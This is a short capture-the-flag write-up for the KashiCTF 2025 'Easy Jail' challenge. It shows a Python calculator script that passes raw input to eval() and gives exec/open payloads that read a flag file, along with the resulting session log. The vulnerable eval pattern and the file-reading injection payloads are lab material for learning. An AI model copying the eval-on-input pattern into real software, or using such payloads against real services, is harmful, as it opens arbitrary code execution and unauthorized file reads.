Easy Jail Writeup - KashiCTF 2025

- 2 mins read

Provided Source Code

The provided zip file has two relevant files, Dockerfile and chall.py.

Dockerfile contains:

FROM python:3.12-slim

WORKDIR /challenge

COPY chall.py /challenge/chall.py
COPY flag.txt /flag.txt

RUN chmod +x /challenge/chall.py


CMD ["python", "/challenge/chall.py"]

This tells us the flag file will be at /flag.txt and how the Python code is being executed.

chall.py has this Python code:

#!/usr/bin/env python3

print("           _            _       _             ")
print("          | |          | |     | |            ")
print("  ___ __ _| | ___ _   _| | __ _| |_ ___  _ __ ")
print(" / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|")
print("| (_| (_| | | (__| |_| | | (_| | || (_) | |   ")
print(" \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_|   ")

def calc(op):
	try : 	
		res = eval(op)
	except :
		return print("Wrong operation")
	return print(f"{op} --> {res}")

def main():
	while True :
		inp = input(">> ")
		calc(inp)

if __name__ == '__main__':
	main()

The code will run eval(input) on any input and show the result if a result is returned, or “Wrong operation” on anything else.
eval() expects a string but input() provides one from what we enter.
We want to read the /flag.txt file with Python since the script is running directly in Python and not in an interactive shell like Bash or Z Shell.

Reading the flag

Note /tmp/flag.txt is used here to get it to run locally, otherwise it says Wrong operation but /flag.txt did work in the actual challenge!

Trying to use:
exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print content') shows a Wrong operation, putting it in quotes just shows what we inputted.

But the following does work:
calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')")
Here’s what the output / interaction looks like:

❯ python3 chall.py
>> exec('content = open(\"/tmp/flag.txt\", \"r\").read(); return content')
Wrong operation
>> exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print content')
Wrong operation # print also doesn't work
>> calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')")
example_flag

exec('content = open("/tmp/flag.txt", "r").read(); print(content)') --> None
calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')") --> None
>>

🚩 In the above ’example_flag’ is shown where the actual flag would be 🙂.